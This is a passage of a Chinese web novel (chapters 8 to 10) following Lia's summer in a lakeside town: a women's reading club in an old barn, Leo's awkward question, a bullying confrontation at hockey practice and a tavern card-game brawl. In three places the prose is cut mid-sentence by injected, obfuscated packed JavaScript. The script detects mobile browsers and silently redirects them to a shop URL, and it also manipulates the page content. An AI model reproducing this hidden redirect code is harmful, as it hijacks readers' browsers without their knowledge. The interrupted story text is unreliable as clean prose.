“那就好。”米勒夫人笑了笑，恢复了往常的温和模样，“利奥那孩子有时候还挺细心的。” 莉娅走到信箱前打开小小的金属门，里面果然躺着一封白色的信。她拿起信，指尖感受到纸张的质感，心里稍稍踏实了一些。 “今天天气不错，”米勒夫人看着莉娅拿信，像是想起了什么语气轻快了些，“对了莉娅，下午我们有个小聚会，在老仓谷那边你还记得吗？现在偶尔还会聚聚，要不要一起来？大家都很久没见你了。” 莉娅的眼睛亮了起来。 那个旧仓谷承载着她许多温暖的童年记忆，她几乎毫不犹豫地点头：“当然记得，我很想去。” “那太好了。”米勒夫人显得很高兴，“下午三点左右过来吧，要是愿意可以带点小点心，就像以前那样。” “我会带一个芝士蛋糕过去。” 莉娅立刻说，乔的那张食谱她早已烂熟于心，正想找机会实践一下。 “哇哦，那我们有口福了。”米勒夫人笑着，“那就说定了，我先回去准备一下，你也再回去睡个回笼觉吧，时间还早呢。” “好的米勒夫人，下午见。” 米勒夫人离开后，莉娅打开了母亲的信。信很短，叮嘱她注意蚊虫、锁好门，有困难可以请教米勒夫人。 一切正常，充满关怀。 莉娅把信和往常一样收好，决定不再多想，开始专注于蛋糕制作。有时候最好的选择就是把问题交给时间，就像把面团交给烤箱。 莉娅系上围裙，拿出乔给的那张写着详细步骤、画着笨拙笑脸的食谱。她熟练地让奶油奶酪软化，加入细砂糖搅拌至顺滑，依次加入鸡蛋、一点香草精、新鲜柠檬汁和柠檬皮屑，最后缓缓倒入浓奶油。 之后给模具抹油撒粉，倒入芝士糊后轻轻震出气泡。接着便是等待，厨房里弥漫开醇厚奶香与清新柠檬味交织的、能治愈大多数坏情绪的温暖气息。 她守着烤箱，看着蛋糕边缘泛起金黄，中间微微起伏。 下午老仓谷里充满了女人们低沉而温暖的声音，就像一群鸽子在咕咕叫。安娜·佩特洛娃，那位总带着点心和人拥抱的捷克杂货店老板娘，立刻用她的方式欢迎了莉娅，差点用她的热情把莉娅撞下吱呀作响的木楼梯。 “我的孩子你终于来了，你的妈妈不在你就不来看安娜阿姨了吗？我的心都要碎了，像放了一周的硬面包。”她嚷嚷着，声音里的东欧口音像肉桂粉一样洒在每一个单词上。 莉娅拿出芝士蛋糕。 吉姆医生，就是让利奥与她搭顺风车的那位。她切了一小角送入嘴里，仔细地地咀嚼着。 所有人都安静了一下。 “口感细腻，糖分控制在可接受范围内。使用了新鲜柠檬，避免了人工香精的刺鼻感。”她最终宣布，这几乎相当于普通人兴奋地跳起来大喊“这真是我吃过最棒的芝士蛋糕。”并且转上几个圈。 安娜阿姨立刻欢呼起来，切了大大一块。 “哦，上帝啊，这味道让我想起了布拉格的春天，虽然布拉格的春天老是下雨，但点心是甜的。”安娜一边吃一边感叹，碎屑掉在了她编织的毛线上。 “安娜，注意你的碳水化合物摄入量。”吉姆医生提醒道，一边小口喝着自带的绿茶。 “埃莉诺，快乐也需要营养。”安娜反击道，又挖了一大勺，“你不能每次都只带那盆像给兔子吃的草来，天天吃沙拉可不行，我的味蕾需要狂欢。” 米勒夫人笑着看着她们斗嘴，眼神温暖：“莉娅的蛋糕确实很棒，不过埃莉诺的沙拉也很健康。”她总是试图做和事佬。 “健康，但不好吃。”安娜嘟囔着，但还是伸手拿了一小根沙拉里的胡萝卜条，咔嚓一声咬下去，“看见没我吃了，现在能再给我一块蛋糕了吗？就一小块。” 吉姆医生无奈地摇摇头，嘴角却有一丝几乎看不见的笑意：“你的血压可不会跟你讨价还价，安娜。” “我的心情会。”安娜理直气壮地说，然后转向莉娅：“亲爱的告诉我，你有没有喜欢的男孩子，镇上那些傻小子配不上你，你得像挑柠檬一样仔细看看有没有坏心眼儿的。” 莉娅的脸一下子红了：“安娜阿姨，没有的事。” “哦，别害羞嘛。我像你这么大的时候，在布拉格不知道有多少小伙子跟在我后面……” “安娜，你上周还说那时你只关心你家的酥饼会不会被偷吃。”吉姆医生毫不留情地拆台。 米勒夫人叹了口气拿起那本边角磨损的诗集，她开始朗读，声音不高但清晰悦耳，像溪水流过卵石。安娜阿姨跟着默读，遇到不认识的字，就用手指戳戳旁边的吉姆医生或者米勒夫人，她们会低声告诉她。 读累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790926|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就换人，或者停下来，手里继续忙着织毛衣、钩花、或者像安娜一样编着色彩鲜艳的竹篮。 莉娅看着她们仿佛回到了小时候，她记得母亲和米勒夫人耐心地教安娜阿姨认字母，用烧剩的木炭或者化石在光滑的木板上写字。她和利奥，还有他的两个姐姐，则在铺满干草的角落里玩耍、打滚，或者安静地听着大人们朗读。 这个俱乐部最初只是为了教安娜认字。 很多年前安娜刚来镇上语言不通不识字，总是拿着家乡的来信或者政府的文件，焦急地央求别人读给她听。作为回报，她总会送上自己亲手做的捷克传统点心，像是甜腻得能黏住牙齿的蜂蜜蛋糕，或者里面塞满了果酱的油酥点心。 米勒夫人和莉娅的母亲心软了，她们开始在旧仓谷教她。地方选在这里是因为安静，而且有柔软的干草可以坐。后来人慢慢多了一两个，但核心一直是她们。 她们在这里学会了读写，也分享了无数个下午的茶点、心事和对远方亲人的思念，那些书轻薄得几乎承载不住生死，但女人们的情谊却因此厚重得能抵御任何风寒。 吉姆医生的加入是个意外。某个深夜莉娅发高烧说胡话，她母亲吓坏了，背着她去敲米勒家的门。两个女人用尽办法也无法让体温降下来，最终只能抱着试一试的心态，去敲镇上那位新来的、据说脾气古怪的女医生的门。 吉姆医生很快开了门，没有多问，冷静地进行了检查和处理。那一晚她在灯光下忙碌的身影，以及后来莉娅终于退烧时她脸上可以被称之为“松了口气”的表情，让米勒夫人和莉娅的母亲认定吉姆医生是个很好的人。 她们开始固执地邀请她，最终也许是无法忍受她们持续的热情，她加入了。她带来了更严谨的语法、更广泛的阅读材料，以及她那永不枯竭的对健康饮食的评论。 聚会在一片温馨的、略带吵闹的气氛中结束，篮子里只剩下一点蛋糕屑。女人们互相告别，约好下次见面的时间。 莉娅提着空篮子回家，夕阳把她的影子拉得很长，路边的野草都染上了一层金色。心里那种因为早晨那点疑虑而产生的细微皱褶，似乎被这个下午的暖意熨平了。 她快到家门口时，看到利奥正骑着自行车从另一边过来，车把手上挂着长曲棍球装备包，像是刚训练完。他看到她，车速慢了下来，两人对视了一眼。莉娅冲他微微点了点头，利奥也颔首回应。 利奥骑过她身边几米远，车轮碾过砂石路面发出规律的沙沙声。突然他毫无预兆地捏紧了刹车，轮胎与地面摩擦发出一声短促的声响。 他单脚支地，停了下来，身体因为惯性微微前倾。 莉娅有些疑惑地回头看他。 利奥并没有转身，只是侧过头，目光看向旁边地面上的一丛顽强生长的野草，仿佛那丛草突然问了他一个极其复杂的问题。 他的侧脸线条绷着，然后用一种再随意不过的语气对着那丛野草，也可能是对着傍晚微凉的空气抛出了一个问题。 “嘿，莉娅……你是不是，没有男朋友？” 8. chapter 8 问题就这样悬在了那里。 没有任何铺垫，也没有上下文，就那么直愣愣地存在着，要求一个答案。 同一天下午当莉娅在仓谷聚会时，镇子另一边的运动场上利奥·米勒正在燃烧他的精力。这是一场队内训练赛，但激烈程度不亚于正式比赛。 利奥所在的队伍穿着深蓝色背心，另一方是白色。 “米勒，左翼。”队友卡尔·汉顿大喊一声将球传了过来，利奥一个侧身用球棍网兜稳稳接住高速飞来的硬胶球，几乎没有任何停顿，立刻带球向前突进。他的步伐大而协调，防守他的马克·斯隆试图用身体冲撞干扰，但利奥只是用一个轻巧的变向和肩膀的一次强硬对抗就挤开了他，速度丝毫不减。 白队另一名防守队员补防过来，试图拦截。利奥看准空档，手腕一抖，一个精准的贴地传球将球送到了无人盯防的丹尼·威尔逊脚下。 丹尼似乎没料到球会传来，他愣了一下，球打在他的护胫上弹开了。 “该死，威尔逊，集中精神。”场边传来教练弗兰克·霍奇斯粗哑的吼声。 他五十多岁，脸色因为常年风吹日晒显得红棕，总皱着眉头，仿佛对全世界都不满意。 利奥没有任何抱怨的表情，他已经迅速回防，拦截了白队的一次快速反击。他的防守如同进攻一样具有压迫性，轻易地从对方攻击手杆下抄走了球。 接下来的几分钟成了利奥的个人表演。 他先是利用速度强行突破，在角度极小的情况下挥杆射门，球像炮弹一样砸入球门左上角。接着他又在一次阵地战中，巧妙地绕到球门后方，接应传球，一记漂亮的背后射门再次得分。他沉默而高效，每一次触球都充满威胁。 最终蓝队以大比分获胜，利奥独揽大半进球。 训练结束，队员们气喘吁吁地聚拢到场边。霍奇斯教练双手抱胸，扫视着这群浑身湿透、冒着热气的年轻人。 “整体跑动像一群在糖浆里游泳的熊，尤其是你斯隆，你的防守软得像我奶奶的蛋糕。威尔逊，你的注意力要是在女孩子身上的功夫分一半到球场上来，你早就成明星了。” 他咆哮着，唾沫星子在夕阳下飞溅，“除了米勒，你们今天都该加练，但现在滚吧，明天提前半小时，谁迟到谁就绕着镇子跑圈。” 队员们如蒙大赦，纷纷散去，留下满地的草屑和汗水的气息。 利奥没有立刻离开，他走到场边的长椅拿起水瓶灌了几口，然后仰面躺倒在草地上，一条手臂搭在额头上，另一只手扯过毛巾盖住了脸。 剧烈的运动后疲惫涌来，他能清晰地听到自己沉重的心跳和肺部的灼烧感。 脚步声靠近，在他旁边停下。 是霍奇斯教练。 利奥能闻到教练身上混合着汗味、泥土味和一丝极淡却无法完全掩盖的烟草味。 他盖着毛巾没有动，沉默了一会儿伸出手，用手指碰了碰教练的小腿。 “嗯？”教练发出一个疑问的音节。 “烟。”利奥的声音透过毛巾，有些闷。 霍奇斯教练的身体似乎僵了一下：“我早就戒了。” 他的声音听起来有点不自然，甚至下意识地朝停车场方向望了一眼，仿佛怕他老婆突然从哪儿冒出来。 利奥的手没收回，又固执地碰了他一下。 又是一阵沉默，教练低声咒骂了一句，极其不情愿地从运动裤口袋里摸出一个扁平的金属烟盒，飞快地塞到利奥伸出的手里。 “真他妈不知道你怎么知道的……”教练咕哝着，声音压得更低，“不怕我告诉你母亲？” 利奥已经摸索着抽出一支烟，叼在嘴上，用不知何时出现在手里的打火机点燃了。 他深吸了一口，让辛辣的烟雾充满肺部，然后才隔着毛巾闷闷地回敬：“不怕我告诉你老婆？” 霍奇斯教练被噎得说不出话，只能又骂了一句，走开几步假装检查器材实则望风。 利奥就那样躺着，毛巾盖着脸，一动不动，只有夹着烟的手指偶尔抬起。夕阳把他的身影和草坪都染成金黄色，远处传来队友们打闹着离开的声音，渐渐远去。 世界很安静。 一支烟抽完，他把烟蒂仔细摁灭。等身上的烟味散得差不多了，他才慢悠悠地掀开毛巾坐起来，活动了一下僵硬的脖颈。 然后他看见丹尼·威尔逊还站在训练场入口的铁丝网门旁边，对方没有走，一副坐立不安、欲言又止的样子。看到利奥站起来，丹尼像是受惊的兔子身体绷直了。 利奥拿起自己的装备包，他挎在肩上，面无表情地朝门口走去。丹尼看着他走近，脸涨得通红，手指紧张地抠着铁丝网。 利奥走到他面前停下，用眼神询问。 “米……米勒……”丹尼的声音小得像蚊子叫，眼神躲闪不敢看他。利奥没说话，只是耐心地等着，虽然这耐心看起来更像是一种无形的压力。 丹尼深吸了一口气，仿佛鼓足了平生最大的勇气猛地抬起头，语速极快地问道：“莉娅……莉娅?罗斯她……她是不是没有男朋友？” 问完这句话，他像是被抽空了所有力气立刻又低下头，盯着自己的鞋尖，耳朵根都红透了。 利奥看着他，脸上没有任何表情变化，沉默了几秒钟他才极轻地哼了一声，听不出是疑问还是嘲讽。 然后他没有回答丹尼的问题，只是侧身从丹尼旁边走过，丢下一句平淡无波的话：“训练时多想点正事，威尔逊。” 他大步离开，没有回头。 * 利奥问出了丹尼问过他的问题，好像只是一时的兴起。 但空气仿佛凝固了，傍晚的微风似乎都停了下来，好奇地等待着回应。 那个关于是否有男朋友的问题，就像一个不请自来的客人笨拙地站在莉娅和利奥之间，占据了好大一块空间。 莉娅眨了眨眼，确实感到意外。利奥?米勒，这个仿佛把全部人生热情都献给了曲棍球和沉默的少年，居然会关心这种事情。 “没有。”她老实地回答，声音在安静的街道上显得格外清晰，“没有男朋友。” 她又确认了一遍，好像怕他没听清，或者怕自己没理解对这个奇怪的问题。 利奥点了点头，动作幅度很小，目光仍然锁定在那丛野草上，仿佛那丛草才是提问者，而他只是代为转达。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790927|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哦。”他说，就一个音，然后是一段更长的沉默，长得足够让一只蜗牛从路这边爬到路那边。 莉娅看着他僵硬的侧影，利奥会翘训练陪她去找母亲，他会默默修好一辆自行车送来，能用最利落的方式解决麻烦……任何事发生在他身上似乎有种别扭的合理性。 但“有没有男朋友”这个问题从他嘴里问出来，就像听到一块石头突然开口唱歌，调子还走得离谱。 他们之间的距离似乎总是这样忽远忽近，像此刻地上被夕阳拉长的影子。他的影子颀长沉默，她的影子提着篮子显得有些孤单。两条影子因为角度的关系，在砂石路面上短暂地交叠了一小段，然后随着他脚下一动，又迅速分开，各奔东西。 莉娅等着，以为他会有后续。 “为什么……问这个？” 问这个问题合适吗？ 利奥似乎被这个问题从某种状态中惊醒，肩膀微微动了一下。他终于转过头看了她一眼，但目光很快又滑开了，落在他自行车的前轮上。 “没什么。”他嘟囔道，声音低沉，“随便问问。” 很多人都觉得利奥脾气古怪，难以相处，说话有时像扔出的石头似的又硬又直接，常常砸得人措手不及。 他知道自己不太擅长那些弯弯绕绕的心思和客套话，小时候在旧仓谷和姐姐莎拉南希，还有她的朋友们玩，他是少数几个男孩之一，总是抢不游戏的主导权。 他们玩过家家，莎拉总指派他当丈夫，而莉娅好几次被安排当妻子。有一次他大概五六岁，被那些繁琐的“做饭”、“打扫”弄得极不耐烦，在“家庭会议”上突然看着当时的“妻子”莉娅，非常严肃直接地问：“那我们是不是该要个孩子了？” 一句话引得所有女孩爆笑不止，莎拉更是笑得倒在干草堆上。 这件事成了著名典故，至今那个坏心眼的杂货店老板娘安娜还会时不时大声打趣他“利奥，什么时候要孩子呀？”，害得他每次都得绕开杂货店走。 他模糊记得当时被笑懵了的小莉娅，红着脸，非常认真地摇头说：“我不想要。” ……或许他就是这样，很多别人觉得需要铺垫、需要小心翼翼的问题，到他这里就只剩下最核心、最直白的那一句。他觉得自己适合这样，至于对方适不适合接，那不是他首先考虑的问题。 这显然不是“随便问问”。 但莉娅知道追问一个米勒家的人，就像试图用手撬开一个生蚝。 “好吧。”她说，决定不再纠缠这个古怪的插曲。她提起空篮子示意了一下，“我下午去了仓谷聚会，蛋糕很好吃。” 利奥又“嗯”了一声，算是听到了。然后他仿佛终于完成了某项艰难的任务，脚下一蹬，自行车重新动了起来：“走了。” 他扔下两个字后没有再看她，加快速度骑走了，背影很快消失在街道的拐角，留下莉娅一个人站在原地，对着空气和那个依然悬浮着的、没有答案的问题。 她摇摇头，把这件怪事归咎于青春期男孩难以捉摸的脑回路，或者可能是训练太累导致的短暂思维混乱。莉娅推开家门，把篮子放好，窗台上的那条小太阳鱼在缸里懒洋洋地游动了一下。 9. chapter 9 接下来的几天生活回到了固有的轨道，清晨莉娅去钓鱼，下午去“鲈鱼喉”，傍晚回家。 她之后又在训练场外看到过利奥几次，他看起来和往常一样专注于训练，和队友交流时话很少。她看到他在练习结束后加练，动作凌厉精准，像是在发泄某种无处安放的情绪。 他看到她了，但只是瞥了一眼没有任何表示，仿佛那天傍晚的对话从未发生。 莉娅也很快把它抛诸脑后，她有太多别的事情要想。母亲的来信依然每周一次，简短而充满关怀，但她总是反复读上好几遍，试图从那熟悉的字里行间捕捉到更多隐藏的信息，一种模糊的直觉让她觉得母亲似乎隐瞒了什么。 但每次，她都告诉自己或许是想多了。 在“鲈鱼喉”她和莉齐的湖上冒险还在继续，莉齐似乎永远有耗不完的精力和新奇的点子，她试图用裹着闪亮糖纸的巧克力豆做鱼饵，声称“鱼也需要一点甜蜜的诱惑”，结果当然是只吸引来一群好奇的小鱼苗，把她笑得前仰后合，差点翻进湖里。 但莉娅从她那里学到了不少东西。 比如如何通过观察水面的波纹判断鱼群的位置，如何根据风向调整钓点，甚至如何打几种复杂但异常结实的水手结。 在她们毫无收获、只是懒洋洋地漂在湖心晒太阳时，莉齐会说，“湖就像个人它有情绪，有时候它慷慨，但今天就很小气。”她说着，用手指轻轻划过清凉的湖水。 酒馆里的常客们也真正接纳了她，她进门时总是友好的点头和问候。 “今天钓到什么好东西了。” “给我留条大的，乔的炸鱼能让我忘掉我老婆的唠叨。” 乔还是那么沉默，但穿着她送的那条绣着笑脸的围裙，每次她来都会默默地给她留出一份最大的炸鱼，或者一块藏了许多蓝莓的果塔。 一天下午莉娅提前从湖边回来，决定绕路去镇上的小杂货店买点面粉和糖。她骑着那辆米白色的自行车经过镇中心的训练场，看到一群男孩聚在那里，那是曲棍球队的人。 利奥也在，还有丹尼·威尔逊。 他们似乎刚结束一场非正式的小比赛，正在休息。利奥被卡尔等两三个人围着，正低头检查着自己的球杆网兜。他听着他们说话，偶尔简短地回应一两个词。 丹尼站在稍远一点的地方，拿着水壶喝水。 就在这时马克·斯隆，那个之前欺负过丹尼的高年级队员，慢悠悠地走到丹尼旁边，用肩膀狠狠撞了他一下。 丹尼猝不及防，水壶脱手掉在地上水洒了一身，他踉跄了一步差点摔倒。 几个男孩发出了哄笑，马克脸上带着那种令人讨厌的、假惺惺的笑容：“哎呀，不好意思没看见你菜鸟，底盘这么不稳，怎么在场上站住？” 丹尼的脸瞬间涨红了，他低下头手忙脚乱地去捡水壶。 莉娅捏住了刹车，停了下来。她将自行车支好，走上前几步：“马克你撞到他了。” 笑声一下子卡住了。 所有男孩都诧异地转过头来看向她，马克也转过身，看到是莉娅后脸上闪过一丝意外，随即变成更令人讨厌的、带着轻浮和蔑视的笑容： “这不是罗斯小姐吗，怎么现在镇上的事情都归你管了，我们队友之间闹着玩需要你来指手画脚？” 莉娅她直视着马克：“你是故意撞他的，还嘲笑他。” 马克被噎了一下，似乎没想到她会这么直接地顶回来，他朝她逼近一步：“少在这里跟我讲什么道理，你以为你是谁，滚开别多管闲事。” 莉娅站在原地，虽然心跳得厉害，但她还是说，“如果你的力气多到没处用，不如去多练几次折返跑，而不是在这里欺负队友。” 她的话让气氛变得更加紧张，火药味弥漫开来。丹尼抬起头看着她，马克的脸涨红了，被一个女孩这样当众顶撞和教训让他觉得极其丢面子。 “你他妈……”马克似乎想骂更难听的话，甚至作势要上前。 “斯隆。” 是利奥，他不知道什么时候已经抬起了头，停止了和队友的交谈。 利奥转过身，他几步走过来挡在了莉娅和马克之间，虽然并没有接触任何一方，但他的存在本身就像一堵无形的墙，隔开了即将升级的冲突。 现在他的目光牢牢钉在马克脸上。 “你很有空。”利奥的声音不高，“很喜欢说话？” 马克在他的注视下气势瞬间矮了半截，张了张嘴，没发出声音。 利奥的目光扫过地上湿漉漉的痕迹和丹尼手里空空的水壶，然后又回到马克脸上。 “既然你精力这么旺盛，看到那边了吗？”他用下巴指了指广场远处那个最陡的草坡，“扛着你的装备包上下冲刺跑，我不说停，不许停。” 马克的脸一下子白了。 那个草坡又长又陡，扛着沉重的装备包冲刺是极其残酷的体能惩罚。他看向周围，希望有人能帮他说句话，但其他男孩都避开了他的目光。 “米勒，就为了这点小事？她……”马克试图辩解，指向莉娅。 “现在。” 利奥打断他，“或者你可以直接滚蛋，球队不需要管不住自己、还会对旁观者喷垃圾话的人。” 绝对的沉默。 马克的拳头捏紧了又松开，最终在利奥的注视下他彻底垮了下来，极其不甘心地狠狠瞪了莉娅和丹尼一眼，然后抓起自己沉重的装备包，踉跄地走向那个草坡。 利奥这才把视线转向还僵在原地的丹尼·威尔逊：“你去帮他数着。” 他对丹尼说，“少一趟，明天你陪他一起跑。” 丹尼愣了一下，随即反应过来这是让他监督，也是给他一个不那么被动的位置：“是，米勒。”他应了一声，立刻跑向草坡方向。 最后利奥的目光扫过莉娅，但他什么也没对她说，仿佛她的介入只是引燃了他早已准备好的裁决。 就在这时，霍奇斯教练粗哑的吼声从广场另一边炸响：“他妈的在干什么，斯隆那小子是在练登山吗，米勒这又是怎么回事？” 霍奇斯教练大步走来，脸色阴沉地看着在草坡上挣扎的马克。 利奥面对教练，表情没有什么变化：“斯隆需要加强体能和纪律性，我给他安排了针对性训练。” 霍奇斯教练眯起眼睛，看了看远处累得像死狗一样的马克，又看了看站在一旁的莉娅和已经跑开的丹尼。他哼了一声，似乎明白了大半。 没再追问细节，只是冲着所有还在发呆的队员大吼：“都他妈看戏看够了，集合折返跑直到我说停。谁再惹是生非，就给我滚去陪斯隆一起爬坡。” 队员们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790928|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻跑动起来。 莉娅看着瞬间被铁腕掌控的场面，看着利奥面无表情地融入跑动的队伍中。 默默地走回自己的自行车边，推车离开。 身后传来霍奇斯教练不绝于耳的吼声、男孩们沉重的脚步声和远处草坡上马克·斯隆隐约的暗骂声。 太阳渐渐西沉，把她和他的影子一起拉长。 * 月亮湖畔的夏日正在滑向尾声，八月的风吹过榆树林时发出轻微的沙沙声。 对莉娅?罗斯而言，这个季节的转换夹杂着一种难以言喻的空落。每周一她总会走下吱呀作响的门廊台阶，怀着期盼推开那个锈迹斑斑的铁皮信箱。 但母亲的来信，已经连续两周缺席了。 打破惯例，像故事集里缺失的最后一页结局，令人心神不宁。为了填补这份空洞，莉娅让自己陷入无休止的忙碌之中。 她翻出母亲旧木匣里那张泛黄的腌鱼配方，配方纸张边缘卷曲，字迹被岁月和油渍晕染得有些模糊。 莉娅仔细处理着清晨从湖里钓来的几条鳟鱼，鱼鳞在阳光下闪着银光。她按照配方，将香料层层铺撒，最后将鱼块密密实实地压进陶罐，压上那块表面光滑的河石。 整个过程缓慢而专注，空气中咸腥与草木的辛辣气息交织，暂时压下了她心头的不安。她把陶罐存放在阴凉的地窖里，想着它们将在变成冬日的美味。 午后她看见邻院的米勒夫人正费力地对付那些疯长的蔷薇丛，带刺的几乎吞噬了通往柴房的小径。莉娅戴上厚重的帆布手套，拿起另一把大剪刀，默默走过去帮忙。 “哦莉娅好孩子，不用麻烦你。”米勒夫人直起腰，用手背擦掉淌进眼角的汗珠，脸颊因劳作而泛红。 “没关系，米勒夫人，我正好也想活动活动。”莉娅笑了笑，利落地剪断一根纠缠交错的粗壮枝条。午后的阳光烘烤着她的后背，让人感到一种朴实的慰藉。 她们并肩劳作，默契地保持着沉默，只有剪刀的咔嚓声和枝条被拖走的沙沙声。米勒夫人偶尔会指点一下，“这根留着，明年能开花。” 或者“哎这根没救了，从根上剪掉。” 过了一会儿，她目光却留意着莉娅的侧脸。 “你做起事来这专注劲儿，真像你母亲年轻时。”米勒夫人声音里带着回忆的暖意，“我记得艾米丽刚嫁来镇上那会儿，谁也不认识，就敢一个人驾着小船跑到北边河口去钓鱼。回来时钓到一条大得惊人的北美狗鱼，差点把船都掀翻了。你父亲又气又担心，可你母亲就那么笑着，头发湿漉漉地贴在脸上，眼睛亮得跟星星似的。那时镇上好些老古板都觉得她太野性，不像个淑女，可她从不在乎。” 莉娅修剪的动作慢了下来，她很少听到关于母亲年轻时的具体往事。 在她记忆里，母亲总是温柔的。 “真的吗？我从没听她说过。”莉娅轻声说，想象着母亲大笑的模样。 “呵，她后来稳重多了，特别是有了你之后。”米勒夫人笑了笑，“但她骨子里那份韧劲从来没变过，就像这蔷薇看着娇嫩，风风雨雨里偏偏是她最能扛过去。” 她轻轻抚摸过一朵深红色的蔷薇，语气不易察觉地低沉了些，“所以她这次一定能……” 她的话没说完，转而用力去对付一根特别顽固的老枝。 10. chapter 10 莉娅的心轻轻一揪。 但米勒夫人没有说下去，她也就咽下了到了嘴边的追问。她们继续沉默地清理院子，直到最后一捆荆棘被捆好拖走。 谢绝了米勒夫人喝杯凉茶的邀请，莉娅回到自己安静的小屋。母亲来信的缺席感依然盘桓不去，但通过劳作、通过与米勒夫人分享的那段往事，这份空茫似乎变得稍稍可以承受了一些。 “鲈鱼喉”酒馆成了她每日的避风港。 那里喧闹，充满了粗粝的生活气息，有效地冲淡了独自一人的孤寂。 乔依旧沉默如山，但总会给她留最大份的炸鲈鱼，还会默不作声地在她柠檬水里多加一勺蜂蜜。莉齐依旧活力四射像一阵湖上刮来的旋风，拉着她分享各种“重大发现”，老酒鬼们依旧吹着牛，抱怨着变幻莫测的天气和越来越离谱的赛事。 这天酒馆里比往常更拥挤喧哗，牌桌那边围了不少人，莉齐响亮得意的声音盖过了所有嘈杂，显然她手风极顺。 莉娅坐在柜台边，小口啜饮着甜滋滋的柠檬水，看着莉齐眉飞色舞地甩出牌，激起一圈惊叹或懊恼的嘟囔。 和莉齐对局的人里，有一个生面孔。 一个约莫四十岁的男人，穿着件皱得不像话的西装外套，领带歪斜，眼神浑浊，浑身散发着被生活碾轧过的潦倒和戾气。 他面前那点少得可怜的钱币正在飞速减少，脸色也越来越阴沉。旁边有人低声议论，说这家伙叫维克多，从隔壁镇流窜过来的，据说在老家欠了一屁股赌债，跑这儿来想捞点本钱。 又一局结束，莉齐兴奋地一把揽过桌上的硬币和零钞：“哈哈，不好意思，承让承让了各位。” 维克多猛地将手里的牌摔在桌上，力气大得让木桌都震了一下。 他脸色铁青，眼球上布满血丝，死死瞪着莉齐：“妈的，活见鬼了，怎么又是你？你这运气好得他妈的邪门。” 他声音嘶哑，充满了毫不掩饰的怀疑。 “手气旺，没办法的事儿，朋友。”莉齐得意地扬着下巴，把硬币拨得叮当响，“赌桌之上，输赢各安天命。” “天命？”维克多嗤笑一声，猛地探身，一把抓过莉齐刚才扔下的牌堆，胡乱翻捡起来，“我看是他妈的出了老千，你这男人婆，把牌藏哪儿了？” “你他妈说什么？”莉齐脸上没了笑，她猛地站起身，“输红了眼就想赖账？敢往老娘头上泼脏水。” “泼脏水？”维克多也摇摇晃晃地站起来，一股劣质威士忌的酸臭味扑面而来，“老子在牌桌上混的年头比你岁数都大，你那点小花招骗得了这帮土老帽可骗不了我，肯定藏牌了，不然怎么可能把把都赢？” “把你那张喷粪的嘴给我闭上。”莉齐彻底被激怒了，手指几乎戳到维克多鼻子上，“自己手气臭得像在沼泽里泡了三天，还敢怪别人？输光了就赶紧滚蛋，别在这儿现眼。” “我现眼？”维克多的脸因酒精和羞辱而扭曲，话语变得无比恶毒，“看看你自己吧，不男不女的怪物，穿得像个挖矿的，嗓门大得能招来暴风雨。哪个正经女人像你这样？难怪没男人要，只能缩在这种鸟不拉屎的穷地方，跟一帮半截入土的老家伙鬼混，你家里人呢？是不是也嫌你丢人，早他妈不要你了？” 这些话语像淬了毒，精准无比地刺穿了莉齐所有张扬的防御，狠狠扎进她最深藏、最脆弱的痛处。 她的脸瞬间血色尽褪，嘴唇不受控制地颤抖起来。 “我□□祖宗。”莉齐发出一声尖厉的怒吼，抓起桌上的空锡制啤酒杯就要砸过去。 莉娅的心猛地提到嗓子眼，她想也没想就冲过去，从后面死死抱住莉齐的腰：“莉齐，别……别这样。” “放开我莉娅，我要撕烂他那张臭嘴，我要敲掉他满嘴牙。” 莉齐疯狂地挣扎着，像一头被长矛刺中的困兽，力气大得惊人。 牌桌边的其他几位老主顾也赶忙上前拦住了暴怒的维克多。 “够了维克多，输钱就输钱，嘴上积点德。” “快给莉齐道歉。” “就是，玩不起就别玩。” 维克多被几个人拉着，却更加癫狂，唾沫横飞：“道歉？跟这个怪物道歉？我呸，她肯定作弊了，你们这帮乡巴佬合起伙来搞我是吧？” 他猛地挣脱拉扯，挥起拳头，竟真要朝被莉娅拼命抱住的莉齐打去。 就在这一刻，“在我地盘上动手，你想清楚下场了？” 是老板希卡。 她不知何时已从柜台后走了出来，手里甚至还拿着那块擦柜台的白布。她个子不高，身材敦实，但此刻站在那里平静地注视着维克多，却让周围立刻安静了下来。 维克多的拳头僵在半空，被这突如其来的气势慑住了片刻，但酒精和狂怒很快重新占据上风：“怎么？老板娘也想多管闲事，是这个怪胎先出的老千。” 希卡完全无视他的指控，只是淡淡地重复，声音不高却清晰地传到每个人耳中：“我这儿不欢迎闹事的人，现在拿起你桌上那点零碎，立刻滚出去。” “老子要是不滚呢。”维克多梗着脖子咆哮，色厉内荏。 希卡没有回答，甚至没有提高声调，她的目光缓缓地、逐一地扫过酒馆。 